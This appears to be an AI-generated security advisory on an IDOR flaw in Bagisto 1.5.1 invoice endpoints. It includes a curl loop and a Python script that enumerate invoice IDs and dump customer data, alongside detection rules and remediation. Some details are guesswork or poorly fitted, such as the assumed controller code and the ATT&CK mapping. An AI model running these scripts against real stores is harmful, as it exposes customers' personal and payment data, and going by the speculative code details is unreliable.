CVE-2023-36238

Executive Summary

CVE-2023-36238 is an Insecure Direct Object Reference (IDOR) vulnerability identified in Bagisto version 1.5.1, an open-source e-commerce platform built on Laravel. The flaw allows an unauthenticated attacker to enumerate and access sensitive invoice data by manipulating the invoice ID parameter in HTTP requests. Since Bagisto does not enforce proper authorization checks on the invoice retrieval endpoint, an attacker can view invoices belonging to other users, exposing personally identifiable information (PII), order details, and payment metadata. This vulnerability is classified under CWE-639 (Authorization Bypass Through User-Controlled Key) and aligns with MITRE ATT&CK technique T1083 (File and Directory Discovery). No official patch has been released by the vendor, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for exposed instances.

Supply Chain & Package Security

Bagisto is a PHP/Laravel-based application distributed via Composer. The vulnerable version (1.5.1) is still available on Packagist and GitHub. No patched version has been published, and the vendor has not acknowledged the issue in a security advisory. Organizations using Bagisto should treat this as a supply chain risk and consider forking the repository to apply custom fixes.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)

Estimated CVSS Score: 7.5 (High)

Threat Level: High – The vulnerability is trivial to exploit, requires no authentication, and exposes sensitive customer data.

Deep Dive & Mechanics

The IDOR vulnerability exists in the invoice retrieval functionality of Bagisto. The application exposes an endpoint that accepts an invoice ID as a parameter (e.g., /invoices/{id} or similar). The backend controller fails to verify that the authenticated user (or unauthenticated visitor) is authorized to view the requested invoice. Instead, it directly queries the database using the provided ID and returns the invoice data.

Root Cause: The controller method lacks an authorization gate or policy check. In Laravel, this typically means the authorize method is not called, or the controller does not use Gate or Policy classes to verify ownership. The code likely uses Invoice::find($id) without scoping the query to the current user.

Attack Flow:

1. An attacker identifies the invoice endpoint (e.g., /api/invoices/1 or /admin/invoices/1).
2. The attacker sends a GET request with an arbitrary invoice ID.
3. The server returns the invoice data, including customer name, address, email, phone number, order items, and payment details.
4. The attacker iterates through IDs (e.g., 1, 2, 3, ...) to harvest all invoices.

Impact: Full disclosure of customer PII, order history, and financial data. This can lead to identity theft, phishing attacks, and regulatory non-compliance (GDPR, CCPA).

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and a recommended fix.

Vulnerable Code (Bagisto v1.5.1):

// app/Http/Controllers/Admin/InvoiceController.php
public function show($id)
{
    $invoice = Invoice::find($id);
    if (!$invoice) {
        abort(404);
    }
    return view('admin.invoices.show', compact('invoice'));
}

Patched Code (Recommended Fix):

// app/Http/Controllers/Admin/InvoiceController.php
public function show($id)
{
    $invoice = Invoice::where('id', $id)
                      ->where('customer_id', auth()->user()->customer_id)
                      ->first();
    if (!$invoice) {
        abort(403); // Forbidden
    }
    return view('admin.invoices.show', compact('invoice'));
}

Explanation: The patched code adds a where clause to ensure the invoice belongs to the authenticated user. For admin users, a separate policy should be implemented to allow access to all invoices.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Bagisto v1.5.1 (e.g., Docker container).
• Knowledge of the invoice endpoint (e.g., /admin/invoices/1).

Exploitation Steps:

1. Identify the invoice endpoint by browsing the admin panel or using directory brute-forcing.
2. Use curl to enumerate invoices:

   for i in {1..100}; do
       curl -s -o /dev/null -w "%{http_code}" "http://target.com/admin/invoices/$i"
       echo " ID: $i"
   done
   

3. Extract data from successful responses:

   curl -s "http://target.com/admin/invoices/42" | grep -E 'customer|email|address|total'
   

Automated Exploit (Python):

import requests

target = "http://target.com/admin/invoices"
for invoice_id in range(1, 101):
    r = requests.get(f"{target}/{invoice_id}")
    if r.status_code == 200:
        print(f"[+] Invoice {invoice_id} accessible")
        # Extract sensitive data
        if 'customer_email' in r.text:
            print(r.text)

Blue Team (Defensive)

Detection & Prevention:

• Monitor for sequential ID access patterns in web logs.
• Implement rate limiting on invoice endpoints.
• Deploy a Web Application Firewall (WAF) rule to block requests with suspicious ID patterns.
• Conduct code review to enforce authorization checks.

Honeypot Strategy:

• Create fake invoice records with unique IDs and monitor access to them.
• Alert when a non-admin user accesses these honeypot invoices.

Indicators of Compromise (IOCs)

Network IOCs:

• Sequential GET requests to /admin/invoices/{id} or /api/invoices/{id}.
• Unusual HTTP 200 responses for invoice IDs that should be restricted.

File System IOCs:

• Log entries in storage/logs/laravel.log showing repeated invoice access attempts.
• Access logs with patterns like GET /admin/invoices/1, GET /admin/invoices/2, etc.

Behavioral IOCs:

• Multiple requests from the same IP address to invoice endpoints within a short time window.
• Requests to invoice IDs that are out of range for the authenticated user.

Detection Engineering

YARA Rule

rule CVE_2023_36238_IDOR_Bagisto {
    meta:
        description = "Detects IDOR exploitation attempts against Bagisto invoice endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-36238"
    strings:
        $invoice_path = "/admin/invoices/" ascii wide nocase
        $api_invoice_path = "/api/invoices/" ascii wide nocase
        $sequential_pattern = /\/admin\/invoices\/\d{1,5}/ nocase
    condition:
        any of ($invoice_path, $api_invoice_path) and #sequential_pattern > 5
}

Sigma Rule

title: Bagisto Invoice IDOR Enumeration
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects sequential access to Bagisto invoice endpoints indicating IDOR exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-stem|startswith:
            - '/admin/invoices/'
            - '/api/invoices/'
    condition: selection
    timeframe: 5m
    aggregation:
        count: > 10
        distinct: cs-uri-stem
falsepositives:
    - Legitimate admin bulk operations
level: high
tags:
    - attack.t1083
    - cve.2023.36238

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2023-36238 Bagisto Invoice IDOR Enumeration";
    flow:to_server,established;
    content:"/admin/invoices/"; http_uri;
    pcre:"/\/admin\/invoices\/\d{1,5}/";
    threshold: type both, track by_src, count 10, seconds 300;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable public access to invoice endpoints if not required.
2. Implement authentication on all invoice routes using Laravel middleware (auth).
3. Apply authorization checks using Laravel Policies or Gates to ensure users can only access their own invoices.

Long-term Fix:

• Upgrade to a patched version of Bagisto (if/when released).
• Fork the repository and apply the code fix shown in the "Vulnerable vs. Patched Code" section.
• Conduct a full security audit of the application for similar IDOR vulnerabilities.

Compensating Controls:

• Use a WAF to block sequential ID patterns.
• Enable logging and monitoring for anomalous access patterns.
• Implement rate limiting on API endpoints.

Valters IT Signature This report was generated by Valters IT DevSecOps AI Assistant. For questions, contact security@valters-it.com.